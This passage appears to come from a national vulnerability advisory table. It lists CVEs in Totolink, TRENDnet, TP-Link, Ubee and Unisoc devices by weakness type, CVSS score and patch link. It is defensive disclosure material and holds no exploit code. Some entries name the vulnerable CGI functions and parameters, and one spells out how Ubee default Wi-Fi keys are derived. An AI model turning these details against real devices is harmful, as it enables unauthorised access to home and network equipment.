Out-of-bounds Write	29-Jan-2024	8.8	A vulnerability was found in Totolink N200RE 9.3.5u.6139_B20201216. It has been	N/A	H-TOT-N200-090224/1910

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			rated as critical. This issue affects the function setTracerouteCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument command leads to stack-based buffer overflow. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252269 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-1000**		
Stack-based Buffer Overflow	29-Jan-2024	8.8	A vulnerability classified as critical was found in Totolink N200RE 9.3.5u.6139_B20201216. Affected by this vulnerability is the function setIpPortFilterRules of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument ePort leads to stack-	N/A	H-TOT-N200-090224/1911

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			based buffer overflow. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252271. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-1002**		
Stack-based Buffer Overflow	29-Jan-2024	8.8	A vulnerability, which was classified as critical, has been found in Totolink N200RE 9.3.5u.6139_B20201216. Affected by this issue is the function setLanguageCfg of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument lang leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may	N/A	H-TOT-N200-090224/1912

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			be used. The identifier of this vulnerability is VDB-252272. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-1003**		
Stack-based Buffer Overflow	29-Jan-2024	7.2	A vulnerability, which was classified as critical, was found in Totolink N200RE 9.3.5u.6139_B20201216. This affects the function loginAuth of the file /cgi-bin/cstecgi.cgi. The manipulation of the argument http_host leads to stack-based buffer overflow. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-252273 was assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did	N/A	H-TOT-N200-090224/1913

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			not respond in any way. **CVE ID : CVE-2024-1004**		
Product: n200re-v5					
Affected Version(s): -					
Insufficient Session Expiration	26-Jan-2024	4.3	A vulnerability was found in Totolink N200RE V5 9.3.5u.6255_B20211224. It has been classified as problematic. Affected is an unknown function of the file /cgi-bin/cstecgi.cgi. The manipulation leads to session expiration. It is possible to launch the attack remotely. The complexity of an attack is rather high. The exploitability is told to be difficult. The exploit has been disclosed to the public and may be used. VDB-252186 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way.	N/A	H-TOT-N200-090224/1914

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2024-0942		
Product: n350rt					
Affected Version(s): -					
Missing Authorization	16-Jan-2024	9.1	A vulnerability classified as critical was found in Totolink N350RT 9.3.5u.6265. This vulnerability affects unknown code of the file /cgi-bin/cstecgi.cgi of the component Setting Handler. The manipulation leads to improper access controls. The attack can be initiated remotely. It is recommended to upgrade the affected component. VDB-250786 is the identifier assigned to this vulnerability. **CVE ID : CVE-2024-0570**	N/A	H-TOT-N350-090224/1915
Product: t8					
Affected Version(s): -					
Missing Authorization	16-Jan-2024	9.1	A vulnerability classified as problematic has been found in Totolink T8 4.1.5cu.833_20220905. This affects the function getSysStatusCfg of the file /cgi-	N/A	H-TOT-T8-090224/1916

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			bin/cstecgi.cgi of the component Setting Handler. The manipulation of the argument ssid/key leads to information disclosure. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 4.1.5cu.862_B20230228 is able to address this issue. It is recommended to upgrade the affected component. The identifier VDB-250785 was assigned to this vulnerability. **CVE ID : CVE-2024-0569**		
Insufficient Session Expiration	26-Jan-2024	5.3	A vulnerability was found in Totolink T8 4.1.5cu.833_20220905. It has been rated as problematic. Affected by this issue is some unknown functionality of the file /cgi-bin/cstecgi.cgi. The manipulation leads	N/A	H-TOT-T8-090224/1917

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to session expiration. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-252188. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0944**		
Product: x2000r					
Affected Version(s): -					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	16-Jan-2024	9.8	A vulnerability classified as critical was found in Totolink X2000R 1.0.0-B20221212.1452. Affected by this vulnerability is the function formMapDelDevice of the file /boafrm/formMapDelDevice. The manipulation of the argument macstr leads to command injection. The	N/A	H-TOT-X200-090224/1918

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			attack can be launched remotely. The exploit has been disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-250795. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0579**		
Affected Version(s): v2					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	25-Jan-2024	9.8	TOTOLINK X2000R_V2 V2.0.0-B20230727.10434 has a command injection vulnerability in the sub_449040 (handle function of formUploadFile) of /bin/boa. **CVE ID : CVE-2024-22529**	N/A	H-TOT-X200-090224/1919
Product: x6000r					
Affected Version(s): -					
N/A	16-Jan-2024	9.8	An issue discovered in TOTOLINK X6000R V9.4.0cu.852_B20230719 allows attackers to run arbitrary code via the sub_410118	N/A	H-TOT-X600-090224/1920

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			function of the shttpd program. **CVE ID : CVE-2023-52041**		
N/A	16-Jan-2024	9.8	An issue discovered in sub_4117F8 function in TOTOLINK X6000R V9.4.0cu.852_B20230719 allows attackers to run arbitrary commands via the 'lang' parameter. **CVE ID : CVE-2023-52042**	N/A	H-TOT-X600-090224/1921
Improper Neutralization of Special Elements used in a Command ('Command Injection')	24-Jan-2024	9.8	An issue discovered in TOTOLINK X6000R v9.4.0cu.852_B20230719 allows attackers to run arbitrary commands via the sub_415C80 function. **CVE ID : CVE-2023-52038**	N/A	H-TOT-X600-090224/1922
Improper Neutralization of Special Elements used in a Command ('Command Injection')	24-Jan-2024	9.8	An issue discovered in TOTOLINK X6000R v9.4.0cu.852_B20230719 allows attackers to run arbitrary commands via the sub_415AA4 function. **CVE ID : CVE-2023-52039**	N/A	H-TOT-X600-090224/1923

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Improper Neutralization of Special Elements used in a Command ('Command Injection')	24-Jan-2024	9.8	An issue discovered in TOTOLINK X6000R v9.4.0cu.852_B20230719 allows attackers to run arbitrary commands via the sub_41284C function. **CVE ID : CVE-2023-52040**	N/A	H-TOT-X600-090224/1924
Vendor: Tp-link					
Product: tapo_c200					
Affected Version(s): 3					
N/A	17-Jan-2024	4.6	Insecure Permissiosn vulnerability in TP Link TC70 and C200 WIFI Camera v.3 firmware v.1.3.4 and fixed in v.1.3.11 allows a physically proximate attacker to obtain sensitive information via a connection to the UART pin components. **CVE ID : CVE-2023-49515**	N/A	H-TP--TAPO-090224/1925
Product: tapo_tc70					
Affected Version(s): 3.0					
N/A	17-Jan-2024	4.6	Insecure Permissiosn vulnerability in TP Link TC70 and C200 WIFI Camera v.3 firmware v.1.3.4 and fixed in	N/A	H-TP--TAPO-090224/1926

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			v.1.3.11 allows a physically proximate attacker to obtain sensitive information via a connection to the UART pin components. **CVE ID : CVE-2023-49515**		
Vendor: Trendnet					
Product: tew-411brpplus					
Affected Version(s): -					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	25-Jan-2024	8.1	A command injection issue in TRENDnet TEW-411BRPplus v.2.07_eu that allows a local attacker to execute arbitrary code via the data1 parameter in the debug.cgi page. **CVE ID : CVE-2023-51833**	N/A	H-TRE-TEW--090224/1927
Product: tew-800mb					
Affected Version(s): -					
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	26-Jan-2024	7.2	A vulnerability was found in TRENDnet TEW-800MB 1.0.1.0 and classified as critical. Affected by this issue is some unknown functionality of the component POST Request Handler. The manipulation of the argument	N/A	H-TRE-TEW--090224/1928

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			DeviceURL leads to os command injection. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. VDB-252122 is the identifier assigned to this vulnerability. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0918**		
Product: tew-815dap					
Affected Version(s): -					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	26-Jan-2024	7.2	A vulnerability was found in TRENDnet TEW-815DAP 1.0.2.0. It has been classified as critical. This affects the function do_setNTP of the component POST Request Handler. The manipulation of the argument NtpDstStart/NtpDstEnd leads to command injection. It is possible to initiate the attack remotely. The exploit has been	N/A	H-TRE-TEW--090224/1929

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			disclosed to the public and may be used. The associated identifier of this vulnerability is VDB-252123. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0919**		
Product: tew-822dre					
Affected Version(s): -					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	26-Jan-2024	7.2	A vulnerability was found in TRENDnet TEW-822DRE 1.03B02. It has been declared as critical. This vulnerability affects unknown code of the file /admin_ping.htm of the component POST Request Handler. The manipulation of the argument ipv4_ping/ipv6_ping leads to command injection. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. The identifier of this	N/A	H-TRE-TEW--090224/1930

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			vulnerability is VDB-252124. NOTE: The vendor was contacted early about this disclosure but did not respond in any way. **CVE ID : CVE-2024-0920**		
Product: tew-824dru					
Affected Version(s): -					
Improper Neutralization of Special Elements used in a Command ('Command Injection')	26-Jan-2024	7.8	An issue was discovered in TRENDnet TEW-824DRU version 1.04b01, allows local unauthenticated attackers to execute arbitrary code via the system.ntp.server parameter in the sub_420AE0() function. **CVE ID : CVE-2024-22545**	N/A	H-TRE-TEW--090224/1931
Vendor: ubeeinteractive					
Product: ddw365					
Affected Version(s): -					
Use of Hard-coded Credentials	21-Jan-2024	8.8	Ubee DDW365 XCNDDW365 devices have predictable default WPA2 PSKs that could lead to unauthorized remote access. A remote attacker (in proximity to a Wi-	N/A	H-UBE-DDW3-090224/1932

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			Fi network) can derive the default WPA2-PSK value by observing a beacon frame. A PSK is generated by using the first six characters of the SSID and the last six of the BSSID, decrementing the last digit. **CVE ID : CVE-2024-23726**		
Vendor: unisoc					
Product: s8000					
Affected Version(s): -					
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48340**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1933
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1934

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution privileges needed **CVE ID : CVE-2023-48341**		
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48343**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1935
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48344**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1936
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1937

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48345		
N/A	18-Jan-2024	5.5	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48346**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1938
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48347**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1939
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48348**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1940

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48349**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1941
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48350**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1942
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48351**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1943
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1944

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**		
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional execution privileges needed **CVE ID : CVE-2023-48354**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1945
Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed **CVE ID : CVE-2023-48339**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1946
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1947

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48342		
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1948
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1949
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-S800-090224/1950
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-S800-090224/1951

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48358**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-S800-090224/1952
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48359**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-S800-090224/1953
Product: sc7731e					
Affected Version(s): -					
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-SC77-090224/1954

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			additional execution privileges needed **CVE ID : CVE-2023-48340**		
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48341**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC77-090224/1955
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48343**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC77-090224/1956
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC77-090224/1957

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48344		
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48345**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC77-090224/1958
N/A	18-Jan-2024	5.5	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48346**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC77-090224/1959
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48347**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC77-090224/1960

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48348**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC77-090224/1961
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48349**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC77-090224/1962
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48350**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC77-090224/1963
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-SC77-090224/1964

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48351**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-SC77-090224/1965
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional execution privileges needed **CVE ID : CVE-2023-48354**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-SC77-090224/1966
Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-SC77-090224/1967

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48339		
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48342**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC77-090224/1968
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC77-090224/1969
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC77-090224/1970
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-SC77-090224/1971

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-SC77-090224/1972
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48358**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-SC77-090224/1973
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-SC77-090224/1974

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48359		
Product: sc9832e					
Affected Version(s): -					
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48340**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1975
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48341**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1976
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1977

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			CVE ID : CVE-2023-48343		
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48344**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1978
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48345**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1979
N/A	18-Jan-2024	5.5	In video decoder, there is a possible improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48346**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1980

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
Out-of-bounds Read	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds read due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48347**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1981
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48348**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1982
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48349**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1983
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing	https://www.unisoc.com/en_us/secy/announcementDetail/17	H-UNI-SC98-090224/1984

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48350**	457352004422 20545	
Out-of-bounds Write	18-Jan-2024	5.5	In video decoder, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48351**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-SC98-090224/1985
Out-of-bounds Write	18-Jan-2024	5.5	In phasecheckserver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with no additional execution privileges needed **CVE ID : CVE-2023-48352**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-SC98-090224/1986
N/A	18-Jan-2024	5.5	In telephone service, there is a possible improper input validation. This could lead to local information disclosure with no additional	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-SC98-090224/1987

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution privileges needed **CVE ID : CVE-2023-48354**		
Missing Authorization	18-Jan-2024	4.4	In jpg driver, there is a possible missing permission check. This could lead to local information disclosure with System execution privileges needed **CVE ID : CVE-2023-48339**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1988
Out-of-bounds Write	18-Jan-2024	4.4	In media service, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48342**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1989
Use After Free	18-Jan-2024	4.4	In vsp driver, there is a possible use after free due to a logic error. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48353**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1990
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due	https://www.unisoc.com/en_us/secy/announc	H-UNI-SC98-090224/1991

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48355**	ementDetail/17457352004422 20545	
Out-of-bounds Write	18-Jan-2024	4.4	In jpg driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48356**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-SC98-090224/1992
Out-of-bounds Write	18-Jan-2024	4.4	In vsp driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48357**	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-SC98-090224/1993
Out-of-bounds Write	18-Jan-2024	4.4	In drm driver, there is a possible out of bounds write due to a missing bounds check. This could lead to local denial of service with System	https://www.unisoc.com/en_us/secy/announcementDetail/17457352004422 20545	H-UNI-SC98-090224/1994

Weakness	Publish Date	CVSSv3	Description & CVE ID	Patch	NCIIPC ID
			execution privileges needed **CVE ID : CVE-2023-48358**		
Out-of-bounds Write	18-Jan-2024	4.4	In autotest driver, there is a possible out of bounds write due to improper input validation. This could lead to local denial of service with System execution privileges needed **CVE ID : CVE-2023-48359**	https://www.unisoc.com/en_us/secy/announcementDetail/1745735200442220545	H-UNI-SC98-090224/1995
Product: sc9863a					
Affected Version(s): -					
